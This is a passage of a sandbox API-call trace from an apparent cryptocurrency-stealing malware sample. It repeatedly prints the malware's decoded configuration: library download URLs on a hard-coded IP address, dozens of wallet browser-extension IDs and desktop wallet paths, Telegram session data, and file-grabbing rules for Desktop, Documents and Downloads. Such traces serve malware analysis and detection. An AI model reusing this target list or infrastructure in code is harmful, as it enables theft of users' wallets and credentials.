Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0258.506] lstrlenW (lpString="libs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5204 [0258.506] LocalAlloc (uFlags=0x40, uBytes=0x2928) returned 0x6c1130 [0258.506] StrCpyW (in: psz1=0x6b9720, psz2="libs" | out: psz1="libs") returned="libs" [0258.506] LocalFree (hMem=0x6c1130) returned 0x0 [0258.506] StrStrW (lpFirst="libs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0258.506] lstrcmpiW (lpString1="libs", lpString2="libs") returned 0 [0258.506] StrStrW (lpFirst="msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension 